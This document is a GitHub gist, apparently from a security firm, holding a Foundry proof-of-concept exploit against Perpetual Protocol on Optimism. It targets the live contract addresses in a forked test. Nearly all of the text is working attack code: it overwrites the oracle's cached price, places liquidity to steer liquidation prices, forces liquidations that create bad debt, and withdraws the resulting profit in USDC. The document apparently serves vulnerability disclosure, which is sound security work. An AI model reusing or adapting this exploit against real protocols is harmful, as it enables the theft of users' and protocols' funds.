Skip to content

Instantly share code, notes, and snippets.

@this-is-chainlight
Created October 4, 2023 02:29
Show Gist options
  • Save this-is-chainlight/684e8e988c0f76cbf208e7d1dbbf2adb to your computer and use it in GitHub Desktop.
Save this-is-chainlight/684e8e988c0f76cbf208e7d1dbbf2adb to your computer and use it in GitHub Desktop.
Perpetual Protocol #9205 PoC
// SPDX-License-Identifier: UNLICENSED
// forge test --fork-url https://mainnet.optimism.io --fork-block-number 15786920 --chain-id 10 --etherscan-api-key YourApiKeyToken -vvv
pragma solidity ^0.8.13;
pragma abicoder v2;
import "forge-std/Test.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IVault {
function deposit(address token, uint256 amount) external;
function depositFor(address to, address token, uint256 amount) external;
function withdraw(address token, uint256 amount) external;
function getFreeCollateralByToken(address trader, address token) external view returns (uint256);
}
interface IAccountBalance {
function getTakerOpenNotional(address trader, address baseToken) external view returns (int256);
function getTakerPositionSize(address trader, address baseToken) external view returns (int256);
}
interface IClearingHouse {
struct AddLiquidityParams {
address baseToken;
uint256 base;
uint256 quote;
int24 lowerTick;
int24 upperTick;
uint256 minBase;
uint256 minQuote;
bool useTakerBalance;
uint256 deadline;
}
struct AddLiquidityResponse {
uint256 base;
uint256 quote;
uint256 fee;
uint256 liquidity;
}
function addLiquidity(AddLiquidityParams calldata params) external returns (AddLiquidityResponse memory);
struct RemoveLiquidityParams {
address baseToken;
int24 lowerTick;
int24 upperTick;
uint128 liquidity;
uint256 minBase;
uint256 minQuote;
uint256 deadline;
}
struct RemoveLiquidityResponse {
uint256 base;
uint256 quote;
uint256 fee;
}
function removeLiquidity(RemoveLiquidityParams calldata params) external returns (RemoveLiquidityResponse memory);
struct OpenPositionParams {
address baseToken;
bool isBaseToQuote;
bool isExactInput;
uint256 amount;
uint256 oppositeAmountBound;
uint256 deadline;
uint160 sqrtPriceLimitX96;
bytes32 referralCode;
}
function openPosition(OpenPositionParams memory params) external returns (uint256 base, uint256 quote);
struct ClosePositionParams {
address baseToken;
uint160 sqrtPriceLimitX96;
uint256 oppositeAmountBound;
uint256 deadline;
bytes32 referralCode;
}
function closePosition(ClosePositionParams calldata params) external returns (uint256 base, uint256 quote);
function settleAllFunding(address trader) external;
function getAccountValue(address trader) external returns (int256);
function liquidate(address trader, address baseToken) external;
}
interface IOrderBook {
struct Info {
uint128 liquidity;
int24 lowerTick;
int24 upperTick;
uint256 lastFeeGrowthInsideX128;
int256 lastTwPremiumGrowthInsideX96;
int256 lastTwPremiumGrowthBelowX96;
int256 lastTwPremiumDivBySqrtPriceGrowthInsideX96;
uint256 baseDebt;
uint256 quoteDebt;
}
function getOpenOrder(address trader, address baseToken, int24 lowerTick, int24 upperTick) external view returns (Info memory);
}
interface IClearingHouseConfig {
function getSettlementTokenBalanceCap() external view returns (uint256 settlementTokenBalanceCap);
}
interface IUniswapV3Pool {
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
struct TickInfo {
uint128 liquidityGross;
int128 liquidityNet;
uint256 feeGrowthOutside0X128;
uint256 feeGrowthOutside1X128;
int56 tickCumulativeOutside;
uint160 secondsPerLiquidityOutsideX128;
uint32 secondsOutside;
bool initialized;
}
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
function tickBitmap(int16 wordPosition) external view returns (uint256);
}
interface IPriceFeedV2 {
function getPrice(uint256 interval) external view returns (uint256);
}
contract TestAccount1 {}
contract TestAccount2 {}
contract TestAccount3 {}
contract PriceMoveSimulationAccount {}
contract ContractTest is Test {
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
int24 internal constant MIN_TICK = -887272;
int24 internal constant MAX_TICK = -MIN_TICK;
int24 internal constant tickSpacing = 60;
function ts_floor(int24 tick) internal pure returns (int24) {
return tick + (tickSpacing - (tick % tickSpacing));
}
function ts_ceil(int24 tick) internal pure returns (int24) {
return ts_floor(tick) - tickSpacing;
}
IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
uint256 usdcDecimals = (10 ** usdc.decimals());
address v_flow = 0x7EAdA83e15AcD08d22ad85A1dCE92E5A257Acb92;
IUniswapV3Pool v_flow_pool = IUniswapV3Pool(0xD26ffdDE6c0DAaAbEB0a6806221c6b9fE7519bdf);
IAccountBalance ab = IAccountBalance(0xA7f3FC32043757039d5e13d790EE43edBcBa8b7c);
IClearingHouse ch = IClearingHouse(0x82ac2CE43e33683c58BE4cDc40975E73aA50f459);
IClearingHouseConfig chc = IClearingHouseConfig(0xA4c817a425D3443BAf610CA614c8B11688a288Fb);
IOrderBook ob = IOrderBook(0xDfcaEBe8f6ea5E022BeFAFaE8c6Cdae8D4E1094b);
IVault v = IVault(0xAD7b4C162707E0B2b5f6fdDbD3f8538A5fbA0d60);
address oracle = 0x19A4dEa5470b2d8E16d9f8D929C0b36fe44113B4;
address[3] accounts;
address priceMoveSimulationAccount = address(new PriceMoveSimulationAccount());
int24 currentTick;
uint256 price;
function setUp() public {
accounts[0] = address(new TestAccount1());
accounts[1] = address(new TestAccount2());
accounts[2] = address(new TestAccount3());
uint256 settlementTokenBalanceCap = chc.getSettlementTokenBalanceCap();
uint256 vaultBalance = usdc.balanceOf(address(v));
// give test contract some USDC
vm.store(
address(usdc),
0x187a2ad3b11081a3050671ee16cc42acca7475835edc3ec15a30507fff0991e9,
bytes32(uint256(settlementTokenBalanceCap))
);
usdc.transfer(priceMoveSimulationAccount, 1000 * usdcDecimals);
usdc.transfer(accounts[1], 200000 * usdcDecimals);
uint256 n = settlementTokenBalanceCap - (
vaultBalance +
usdc.balanceOf(priceMoveSimulationAccount) +
usdc.balanceOf(accounts[1])
+ 1
);
usdc.transfer(accounts[0], n/2);
usdc.transfer(accounts[2], n/2);
for (uint i = 0; i < accounts.length + 1; i++) {
address x;
if (i < accounts.length)
x = accounts[i];
else
x = priceMoveSimulationAccount;
vm.startPrank(x);
usdc.approve(address(v), type(uint256).max);
v.deposit(address(usdc), usdc.balanceOf(x));
vm.stopPrank();
}
}
function setupLargePositions() internal {
emit log("\nsetupLargePositions()");
uint256 amount2 = uint256(ch.getAccountValue(accounts[1])) * (0.99 ether / uint256(1000000000)) / price;
uint256 amount3 = uint256(ch.getAccountValue(accounts[2])) * (0.958 ether / uint256(1000000000)) / price;
// provide sell liquidity
int24 lowerTick = ts_floor(currentTick);
int24 upperTick = ts_floor(currentTick) + tickSpacing;
vm.startPrank(accounts[0]);
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: amount2 + amount3,
quote: 0,
lowerTick: lowerTick,
upperTick: upperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
vm.stopPrank();
// long
vm.startPrank(accounts[1]);
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: false,
isExactInput: false,
amount: amount2,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1,
referralCode: bytes32(0)
})
);
vm.stopPrank();
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
// long
vm.startPrank(accounts[2]);
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: false,
isExactInput: false,
amount: amount3,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1,
referralCode: bytes32(0)
})
);
vm.stopPrank();
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
// remove remaining liquidity
vm.startPrank(accounts[0]);
ch.removeLiquidity(
IClearingHouse.RemoveLiquidityParams({
baseToken: v_flow,
lowerTick: lowerTick,
upperTick: upperTick,
liquidity: ob.getOpenOrder(
accounts[0],
v_flow,
lowerTick,
upperTick
).liquidity,
minBase: 0,
minQuote: 0,
deadline: type(uint256).max
})
);
vm.stopPrank();
}
function advanceBlockAndForceOracleOutput(uint256 _price) internal {
vm.roll(block.number + 1);
vm.warp(block.timestamp + 1);
// _cachedTwap = price
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000301), bytes32(uint256(_price)));
// _lastUpdatedAt = block.timestamp
uint256 oracle_slot_x302 = uint256(vm.load(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302)));
oracle_slot_x302 &= ~uint256(0xffffffffffffffffffffffffffffffff);
oracle_slot_x302 |= block.timestamp;
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302), bytes32(oracle_slot_x302));
}
function simulatePriceMove() internal {
emit log("\nsimulatePriceMove()");
uint256 ratio = 0.95 ether;
price = IPriceFeedV2(oracle).getPrice(900);
price = price * ratio / 1 ether;
int24 targetTick = int24(int256(uint256(int256(currentTick)) * ratio / 1 ether));
emit log_named_int("targetTick", targetTick);
vm.startPrank(priceMoveSimulationAccount);
while (currentTick > targetTick) {
advanceBlockAndForceOracleOutput(price);
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: true,
isExactInput: false,
amount: 1000 ether,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MIN_SQRT_RATIO + 1,
referralCode: bytes32(0)
})
);
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
}
vm.stopPrank();
advanceBlockAndForceOracleOutput(price);
price = IPriceFeedV2(oracle).getPrice(900);
emit log_named_uint("oraclePrice", price);
}
int24 manipulatePriceLimitForNextBlockLowerTick;
int24 manipulatePriceLimitForNextBlockUpperTick;
function manipulatePriceLimitForNextBlock() internal {
emit log("\nmanipulatePriceLimitForNextBlock()");
vm.startPrank(accounts[0]);
// provide buy liquidity at carefully selected price
( , currentTick, , , , , ) = v_flow_pool.slot0();
manipulatePriceLimitForNextBlockLowerTick = ts_ceil(currentTick - 750) - tickSpacing;
manipulatePriceLimitForNextBlockUpperTick = ts_ceil(currentTick - 750);
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: 0,
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)),
lowerTick: manipulatePriceLimitForNextBlockLowerTick,
upperTick: manipulatePriceLimitForNextBlockUpperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
// dump
ch.liquidate(accounts[1], v_flow);
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick after partial liquidation of account 2", currentTick);
vm.stopPrank();
advanceBlockAndForceOracleOutput(price);
}
int24 triggerLiqudationFeeBadDebtLowerTick;
int24 triggerLiqudationFeeBadDebtUpperTick;
function triggerLiqudationFeeBadDebt() internal {
emit log("\ntriggerLiqudationFeeBadDebt()");
vm.startPrank(accounts[0]);
// cleanup previous stage (remove remaining liquidity)
ch.removeLiquidity(
IClearingHouse.RemoveLiquidityParams({
baseToken: v_flow,
lowerTick: manipulatePriceLimitForNextBlockLowerTick,
upperTick: manipulatePriceLimitForNextBlockUpperTick,
liquidity: ob.getOpenOrder(
accounts[0],
v_flow,
manipulatePriceLimitForNextBlockLowerTick,
manipulatePriceLimitForNextBlockUpperTick
).liquidity,
minBase: 0,
minQuote: 0,
deadline: type(uint256).max
})
);
// provide buy liquidity
( , currentTick, , , , , ) = v_flow_pool.slot0();
triggerLiqudationFeeBadDebtLowerTick = ts_ceil(currentTick) - tickSpacing;
triggerLiqudationFeeBadDebtUpperTick = ts_ceil(currentTick);
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: 0,
quote: uint256(-ab.getTakerOpenNotional(accounts[2], v_flow)),
lowerTick: triggerLiqudationFeeBadDebtLowerTick,
upperTick: triggerLiqudationFeeBadDebtUpperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
// dump and cause bad debt
ch.liquidate(accounts[2], v_flow);
// remove remaining liquidity
ch.removeLiquidity(
IClearingHouse.RemoveLiquidityParams({
baseToken: v_flow,
lowerTick: triggerLiqudationFeeBadDebtLowerTick,
upperTick: triggerLiqudationFeeBadDebtUpperTick,
liquidity: ob.getOpenOrder(
accounts[0],
v_flow,
triggerLiqudationFeeBadDebtLowerTick,
triggerLiqudationFeeBadDebtUpperTick
).liquidity,
minBase: 0,
minQuote: 0,
deadline: type(uint256).max
})
);
vm.stopPrank();
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick after full liquidation of account 3", currentTick);
}
function closeOutRemainingPositions() internal {
emit log("\ncloseOutRemainingPositions()");
vm.startPrank(accounts[0]);
// provide buy liquidity
( , currentTick, , , , , ) = v_flow_pool.slot0();
int24 lowerTick = ts_ceil(currentTick) - tickSpacing;
int24 upperTick = ts_ceil(currentTick);
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: 0,
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)),
lowerTick: lowerTick,
upperTick: upperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
// expected account value after liquidate == 1
uint256 usdcAmountToResolveBadDebt = 15509030657 + 1;
v.withdraw(address(usdc), usdcAmountToResolveBadDebt);
v.depositFor(accounts[1], address(usdc), usdcAmountToResolveBadDebt);
// dump and cause another bad debt
ch.liquidate(accounts[1], v_flow);
ch.closePosition(
IClearingHouse.ClosePositionParams({
baseToken: v_flow,
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1,
oppositeAmountBound: 0,
deadline: type(uint256).max,
referralCode: bytes32(0)
})
);
ch.removeLiquidity(
IClearingHouse.RemoveLiquidityParams({
baseToken: v_flow,
lowerTick: lowerTick,
upperTick: upperTick,
liquidity: ob.getOpenOrder(
accounts[0],
v_flow,
lowerTick,
upperTick
).liquidity,
minBase: 0,
minQuote: 0,
deadline: type(uint256).max
})
);
ch.settleAllFunding(accounts[0]);
vm.stopPrank();
}
function getAccountValues() internal returns (int256[] memory, uint256) {
int256[] memory accountValues = new int256[](accounts.length);
uint256 accountValueTotal = 0;
for (uint i = 0; i < accounts.length; i++) {
accountValues[i] = ch.getAccountValue(accounts[i]);
if (accountValues[i] > 0) {
accountValueTotal += uint256(accountValues[i]);
}
}
return (accountValues, accountValueTotal);
}
function test() public {
(int256[] memory initialAccountValues, uint256 initialAccountValueTotal) = getAccountValues();
emit log_named_int("initial accountValue (1)", initialAccountValues[0]);
emit log_named_int("initial accountValue (2)", initialAccountValues[1]);
emit log_named_int("initial accountValue (3)", initialAccountValues[2]);
emit log_named_uint("initial accountValue (total)", initialAccountValueTotal);
emit log_named_decimal_uint("initial accountValue (total in USDC)", initialAccountValueTotal / 1000000000000, usdc.decimals());
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("currentTick", currentTick);
price = IPriceFeedV2(oracle).getPrice(900);
emit log_named_uint("oraclePrice", price);
setupLargePositions();
simulatePriceMove();
manipulatePriceLimitForNextBlock();
triggerLiqudationFeeBadDebt();
(int256[] memory accountValuesAfterBadDebtAttack, uint256 accountValuesTotalAfterBadDebtAttack) = getAccountValues();
emit log_named_int("accountValue (1)", accountValuesAfterBadDebtAttack[0]);
emit log_named_int("accountValue (2)", accountValuesAfterBadDebtAttack[1]);
emit log_named_int("accountValue (3)", accountValuesAfterBadDebtAttack[2]);
emit log_named_uint("accountValue (total)", accountValuesTotalAfterBadDebtAttack);
closeOutRemainingPositions();
(int256[] memory finalAccountValues, uint256 finalAccountValueTotal) = getAccountValues();
emit log_named_int("final accountValue (1)", finalAccountValues[0]);
emit log_named_int("final accountValue (2)", finalAccountValues[1]);
emit log_named_int("final accountValue (3)", finalAccountValues[2]);
emit log_named_uint("final accountValue (total, negative values excluded)", finalAccountValueTotal);
emit log_named_decimal_uint("final accountValue (total in USDC, negative values excluded)", finalAccountValueTotal / 1000000000000, usdc.decimals());
// withdraw max available
uint256 freeCollateral = v.getFreeCollateralByToken(accounts[0], address(usdc));
emit log_named_decimal_uint("account 1 free collateral (USDC)", freeCollateral, usdc.decimals());
vm.startPrank(accounts[0]);
v.withdraw(address(usdc), freeCollateral);
vm.stopPrank();
uint256 profit = (usdc.balanceOf(accounts[0]) - initialAccountValueTotal / 1000000000000);
emit log_named_decimal_uint("profit (USDC)", profit, usdc.decimals());
emit log("OK");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment